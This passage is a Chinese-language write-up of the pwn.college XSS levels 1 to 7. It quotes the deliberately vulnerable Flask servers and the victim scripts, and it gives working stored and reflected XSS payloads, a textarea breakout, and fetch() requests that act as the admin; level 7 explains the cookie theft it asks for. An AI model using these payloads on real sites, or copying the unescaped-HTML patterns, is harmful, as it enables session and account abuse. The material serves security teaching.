A modern web browser is an extraordinarily complex piece of software. It renders HTML, executes JavaScript, parses CSS, lets you access pwn.college, and much much more. Specifically important to our purposes is the HTML that you have seen being generated by every challenge in this module. When the web application generated paths, we ended up with path traversals. When the web application generated shell commands, we ended up with shell injections. When the web application generated SQL queries, we ended up with SQL injections. Do we really think HTML will fare any better? Of course not.

The class of vulnerabilities in which injections occur into client-side web data (such as HTML) is called Cross Site Scripting, or XSS for short (to avoid the name collision with Cascading Style Sheets). Unlike the previous injections, where the victim was the web server itself, the victims of XSS are other users of the web application. In a typical XSS exploit, an attacker will cause their own code to be injected into (typically) the HTML produced by a web application and viewed by a victim user. This will then allow the attacker to gain some control within the victim's browser, leading to a number of potential downstream shenanigans.

This challenge is a very first step in this direction. As before, you will have the /challenge/server web server. This challenge explores something called Stored XSS, which means that data that you store on the server (in this case, posts in a forum) will end up being shown to a victim user. Thus, we need a victim to view these posts! You will now have a /challenge/victim program that simulates a victim user visiting the web server.

Set up your attack and invoke /challenge/victim with the URL that will trigger the Stored XSS. In this level, all you have to do is inject a textbox. If our victim script sees three textboxes, we will give you the flag!

DEBUGGING: How do you debug these sorts of attacks? The most common thing to go wrong in this simple scenario is that the resulting post-injection HTML is invalid. Here, the View Source functionality of your browser can help. You can either try launching your attack against the web browser in the DOJO's GUI Desktop (e.g., set up the XSS, then visit with the DOJO's Firefox rather than with /challenge/victim), and View Source, or just use curl and read the result. The result, after you inject your payload, should still be valid (but newly-evil) HTML!

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT "First Post!" AS content""")


@app.route("/", methods=["POST"])
def challenge_post():
content = flask.request.form.get("content", "")
db.execute("INSERT INTO posts VALUES (?)", [content])
return flask.redirect(flask.request.path)


@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, the anonymous posting service. Post away!\n"
page += "<form method=post>Post:<input type=text name=content><input type=submit value=Submit></form>\n"

for post in db.execute("SELECT content FROM posts").fetchall():
page += "<hr>" + post["content"] + "\n"

return page + "</body></html>"


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/victim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/opt/pwn.college/python

import requests
import psutil
import sys
import re

open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)
challenge_url = "http://challenge.localhost:80/"
flag = open("/flag").read().strip()

print(f"Visiting {challenge_url}...")
try:
num_inputs = len(re.findall(r"<input[^<]*>", requests.get(challenge_url, timeout=1).text))
if num_inputs <= 2:
print("You did not inject an <input> textbox...")
else:
print("You got it! Here is your flag:")
print(flag)
except requests.exceptions.ConnectionError:
print("Connection error... Is the service running?")

好,我們來看一下server跟victim的code
啟動後會有一個輸入框
image
就是拿來放payload的
那victim的code關鍵點在第16行

1
2
3
4
5
6
7
try:
num_inputs = len(re.findall(r"<input[^<]*>", requests.get(challenge_url, timeout=1).text))
if num_inputs <= 2:
print("You did not inject an <input> textbox...")
else:
print("You got it! Here is your flag:")
print(flag)

可以看到他會發送檢查html的內容,只要你的web上出現了兩個以上的<input>,那就會拿到flag,所以我們可以直接在payload的地方塞進input
完整payload:

1
<input type="text">

塞進去後就會發現html的部分多了一個框框,
image

看web code,就會看到剛剛我們塞進去的html,如此一來,html裡面就有不只一個<html>
image

最後發送request,就成功拿到flag了

image


XSS 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Okay, so injecting some HTML was pretty cool! You can imagine how this can be used to confuse victims, but it gets worse...

In the 1990s, the wise designers of the web invented JavaScript to make websites more interactive. JavaScript lives alongside your HTML, and makes things interesting. For example, this turns your browser into a clock:

<html>
<body>
<script>
document.body.innerHTML = Date();
</script>
</body>
</html>
Basically, the HTML <script> tag tells the browser that what is inside that tag is JavaScript, and the browser executes it. I'm sure you can see where this is going...

In the previous level, you injected HTML. In this one, you must use the exact same Stored XSS vulnerability to execute some JavaScript in the victim's browser. Specifically, we want you to execute the JavaScript alert("PWNED") to pop up an alert that informs the victim that they've been pwned. The how of this level is the exact same as the previous one; only the what changes, and suddenly, you're cooking with gas!

DEBUGGING: Here, we need a slightly more advanced approach to debugging. Two main things can go wrong here.

- First, you might not be injecting your <script> tag properly. You should check this similar to the debugging path of the previous challenge: bring it up in Firefox and View Source or Inspect Element to make sure it looks correct.
- Second, your actual JavaScript might be buggy. JavaScript errors will show up on your Firefox console. Pull up the web development console in the DOJO's Firefox, load the page, and see if anything has gone wrong! If it hasn't, consider resorting to print-debugging inside JavaScript (you can print to the console with, e.g., console.log("wtf").

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT "First Post!" AS content""")


@app.route("/", methods=["POST"])
def challenge_post():
content = flask.request.form.get("content", "")
db.execute("INSERT INTO posts VALUES (?)", [content])
return flask.redirect(flask.request.path)


@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, the anonymous posting service. Post away!\n"
page += "<form method=post>Post:<input type=text name=content><input type=submit value=Submit></form>\n"

for post in db.execute("SELECT content FROM posts").fetchall():
page += "<hr>" + post["content"] + "\n"

return page + "</body></html>"


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/victim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/opt/pwn.college/python

import psutil
import urllib
import atexit
import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException

os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)

open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)

challenge_url = "http://challenge.localhost:80/"

print(f"Visiting {challenge_url}")
browser.get(challenge_url)
try:
WebDriverWait(browser, 1).until(EC.alert_is_present())
except TimeoutException:
print("Failure: JavaScript alert did not trigger...")
sys.exit(3)
else:
print("Alert triggered! Your reward:")
print(open("/flag").read().strip())

這題是常見的xss漏洞,使用者透過跟js互動造成html的改動
"><script>alert(1)</script>"
就可以了!

image

image


XSS 3

1
2
3
4
5
6
In the previous examples, your injection content was first stored in the database (as posts), and was triggered when the web server retrieved it from the database and sent it to the victim's browser. Because the data has to be stored first and retrieved later, this is called a Stored XSS. However, the magic of HTTP GET requests and their URL parameters opens the door to another type of XSS: Reflected XSS.

Reflected XSS happens when a URL parameter is rendered into a generated HTML page in a way that, again, allows the attacker to insert HTML/JavaScript/etc. To carry out such an attack, an attacker typically needs to trick the victim into visiting a very specifically-crafted URL with the right URL parameters. This is unlike a Stored XSS, where an attacker might be able to simply make a post in a vulnerable forum and wait for victims to stumble onto it.

Anyways, this level is a Reflected XSS vulnerability. The /challenge/victim of this challenge takes a URL argument on the commandline, and it will visit that URL. Fool the /challenge/victim into making a JavaScript alert("PWNED"), and you'll get the flag!

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


@app.route("/", methods=["GET"])
def challenge_get():
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
{flask.request.args.get("msg", "(none)")}
<hr>
<form>
Craft a message:
<input type=text name=msg>
<input type=submit value="Make URL!">
</form>
</body></html>
"""


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/opt/pwn.college/python

import psutil
import urllib
import atexit
import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException

os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)

open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)

if len(sys.argv) == 1:
print(f"Usage: {sys.argv[0]} URL")
sys.exit(1)

challenge_url = sys.argv[1]

url_parsed = urllib.parse.urlparse(challenge_url)
if url_parsed.hostname != "challenge.localhost":
print("Hostname should be 'challenge.localhost'.")
sys.exit(2)
if url_parsed.port not in {None, 80}:
print("Port should be 80.")
sys.exit(3)

print(f"Visiting {challenge_url}")
browser.get(challenge_url)
try:
WebDriverWait(browser, 1).until(EC.alert_is_present())
except TimeoutException:
print("Failure: JavaScript alert did not trigger...")
sys.exit(3)
else:
print("Alert triggered! Your reward:")
print(open("/flag").read().strip())

初始介面
image

那我們嘗試使用上題的payload
"><script>alert("PWNED")</script>"

image

OK,確實彈跳出框了,
所以我們再對終端機發送經過URL encode後的網址
/challenge/victim 'http://challenge.localhost/?msg=%3cscript%3ealert(%22PWNED%22)%3c%2fscript%3e'
有flag了

image


XSS 4

1
2
3
Like with SQL injection and command injection, sometimes your XSS occurs in the middle of some non-optimal context. In SQL, you have dealt with injecting into the middle of quotes. In XSS, you often inject into, for example, a textarea, as in this challenge. Normally, text in a textarea is just, well, text that'll show up in a textbox on the page. Can you bust out of this context and alert("PWNED")?

As before, the /challenge/victim of this challenge takes a URL argument on the commandline, and it will visit that URL.

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


@app.route("/", methods=["GET"])
def challenge_get():
return f"""
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
<form>
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
<input type=submit value="Make URL!">
</form>
</body></html>
"""


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/victim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/opt/pwn.college/python

import psutil
import urllib
import atexit
import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException

os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)

open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)

if len(sys.argv) == 1:
print(f"Usage: {sys.argv[0]} URL")
sys.exit(1)

challenge_url = sys.argv[1]

url_parsed = urllib.parse.urlparse(challenge_url)
if url_parsed.hostname != "challenge.localhost":
print("Hostname should be 'challenge.localhost'.")
sys.exit(2)
if url_parsed.port not in {None, 80}:
print("Port should be 80.")
sys.exit(3)

print(f"Visiting {challenge_url}")
browser.get(challenge_url)
try:
WebDriverWait(browser, 1).until(EC.alert_is_present())
except TimeoutException:
print("Failure: JavaScript alert did not trigger...")
sys.exit(3)
else:
print("Alert triggered! Your reward:")
print(open("/flag").read().strip())

image

嘗試直接送出<script>alert(1)</script>
image
但沒有跳出flag
回去看code,發現

1
2
3
4
5
6
7
8
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
<form>
<textarea name=msg>{flask.request.args.get("msg", "Type your message here!")}</textarea>
<input type=submit value="Make URL!">
</form>
</body></html>

原來輸入的內容都被<textarea name=msg>標在裡面了,所以我們payload要跳出標籤,要先輸入</textarea>
完整payload變成
</textarea><script>alert("PWNED")</script><textarea name=msg>
完整html變成

1
2
3
4
5
6
7
8
<html><body>
<h1>pwnmsg ephemeral message service</h1>
The message:
<form>
<textarea name=msg></textarea> <script>alert("PWNED")</script> <textarea name=msg></textarea>
<input type=submit value="Make URL!">
</form>
</body></html>

image
OK,拿下:D


XSS 5

1
2
3
4
5
6
7
8
9
Actual XSS exploits try to achieve something more than alert("PWNED"). A very common goal is to use the ability to execute JavaScript inside a victim's browser to initiate new HTTP requests masquerading as the victim. This can be done in a number of ways, including using JavaScript's fetch() function.

This challenge implements a more complex application, and you will need to retrieve the flag out of the admin user's unpublished draft post. After XSS-injecting the admin, you must use the injection to make an HTTP request (as the admin user) to enable you to read the flag. Good luck!

DEBUGGING: This level adds an additional bit of complexity to the injected script: the fetch(). Now, three things can go wrong:

- The <script> HTML injection. Again, verify that using View Source or Inspect Element in the DOJO's Firefox. Log in as guest (or modify the script so that you can log in as admin in practice mode) and play around graphically.
- The JavaScript itself. Verify this by checking Firefox's JavaScript console for errors and by using print-debugging (to the Firefox console by doing console.log).
- The GET request that you'll trigger using fetch() or whatnot. You can, again, debug this in Firefox by looking at the Network tab of the Web Developer Tools. Have the tab open, trigger your attack, and see what's happening with the actual request.

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"

import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")


@app.route("/login", methods=["POST"])
def challenge_login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

flask.session["username"] = username
return flask.redirect("/")


@app.route("/draft", methods=["POST"])
def challenge_draft():
if "username" not in flask.session:
flask.abort(403, "Log in first!")

content = flask.request.form.get("content", "")
# https://www.sqlite.org/lang_insert.html
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, flask.session.get("username"), bool(flask.request.form.get("publish"))),
)
return flask.redirect("/")


@app.route("/publish", methods=["GET"])
def challenge_publish():
if "username" not in flask.session:
flask.abort(403, "Log in first!")

# https://www.sqlite.org/lang_update.html
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/")


@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<a href=publish>Publish your drafts!</a>
<hr>
"""

for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""

return page + "</body></html>"


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/victim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/opt/pwn.college/python

import psutil
import urllib
import atexit
import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException

os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)

open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)

challenge_url = "http://challenge.localhost:80/"

print(f"Visiting {challenge_url}")
browser.get(challenge_url)

browser.find_element(By.NAME, "username").send_keys("admin")
browser.find_element(By.NAME, "password").send_keys(open("/flag").read().strip())
browser.find_element(By.NAME, "submit").submit()

time.sleep(2)
print("Visited! Go check if the attack worked!")

四個頁面
image
image
image
image
沒關係這題不是考sql injection
所以我們重看

1
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")

這不就妥妥的帳密嗎,進來了
image

回去看一下題目,提到flag就藏在那串Draft post裡面
那我們寫的script就是要讓使用者去點開 Publish your drafts! ,的連結,這樣那段藏在draft的flag就會被發成公開
所以把這段payload塞進html裡面: <script>fetch('/publish')</script>
塞好以後去跑/challenge/victim,讓這自動化腳本自己去publish自己的草稿
隨後刷新
就可以看到flag了
image


XSS 6

1
2
3
Once an attacker has code execution inside a victim's browser, they can do a lot of things. You've made a GET request in your previous attack, but typically, it's the POST requests that will change application state. This challenge ratchets up the realism: the /publish now needs a POST request. Luckily, fetch supports this!

Go figure out how to POST, and get the flag.

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"

import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")


@app.route("/login", methods=["POST"])
def challenge_login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

flask.session["username"] = username
return flask.redirect("/")


@app.route("/draft", methods=["POST"])
def challenge_draft():
username = flask.session.get("username", None)
if not username:
flask.abort(403, "Log in first!")

content = flask.request.form.get("content", "")
# https://www.sqlite.org/lang_insert.html
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, username, bool(flask.request.form.get("publish"))),
)
return flask.redirect("/")


@app.route("/publish", methods=["POST"])
def challenge_publish():
username = flask.session.get("username", None)
if not username:
flask.abort(403, "Log in first!")

# https://www.sqlite.org/lang_update.html
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
return flask.redirect("/")


@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username = flask.session.get("username", None)
if username:
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<form action=publish method=post><input type=submit value="Publish All Drafts"></form>
<hr>
"""

for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""

return page + "</body></html>"


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/victim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/opt/pwn.college/python

import psutil
import urllib
import atexit
import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException

os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)

open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)

challenge_url = "http://challenge.localhost:80/"

print(f"Visiting {challenge_url}")
browser.get(challenge_url)

browser.find_element(By.NAME, "username").send_keys("admin")
browser.find_element(By.NAME, "password").send_keys(open("/flag").read().strip())
browser.find_element(By.NAME, "submit").submit()

time.sleep(2)
print("Visited! Go check if the attack worked!")

這題就是上一題的進階版,變成使用POST發送請求
但整體邏輯沒有差很多,只要強制fetch改成POST就好了!
<script>fetch('/publish',{method:'POST'})</script>
送出後,下方多了個空留言,看似沒有內容,但實際XSS內容已經放進html裡了
image

去跑/challenge/victim
image


XSS 7

1
2
3
4
5
6
7
Depending on the attacker's goals, what they might actually be after is the victim's entire account. For example, attackers might use XSS to exfiltrate victim authentication data and then use this data to take over the victim's account.

Authentication data is often stored via browser cookies, such as what happened in Authentication Bypass 2 (but, typically, much more secure). If an attacker can leak these cookies, the result can be disastrous for the victim.

This level stores the authentication data for the logged in user in a cookie. You must use XSS to leak this cookie so that you can, in turn, use it in a request to impersonate the admin user. This exfiltration will happen over HTTP to a server that you run, and everything you need is available via JavaScript's fetch() and its ability to access (some) site cookies.

HINT: By "server that you run", we really mean that listening on a port with nc will be sufficient. Look at the -l and -v options to nc.

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/opt/pwn.college/python

import flask
import os

app = flask.Flask(__name__)


flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"

import sqlite3
import tempfile


class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result


db = TemporaryDB()

# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag[-20:]])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")


@app.route("/login", methods=["POST"])
def challenge_login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

response = flask.redirect("/")
response.set_cookie("auth", username + "|" + password)
return response


@app.route("/draft", methods=["POST"])
def challenge_draft():
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")
content = flask.request.form.get("content", "")
# https://www.sqlite.org/lang_insert.html
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, username, bool(flask.request.form.get("publish"))),
)
return flask.redirect("/")


@app.route("/publish", methods=["POST"])
def challenge_publish():
username, password = flask.request.cookies.get("auth", "|").split("|")
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")
# https://www.sqlite.org/lang_update.html
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [username])
return flask.redirect("/")


@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now with users!<hr>\n"
username, password = flask.request.cookies.get("auth", "|").split("|")
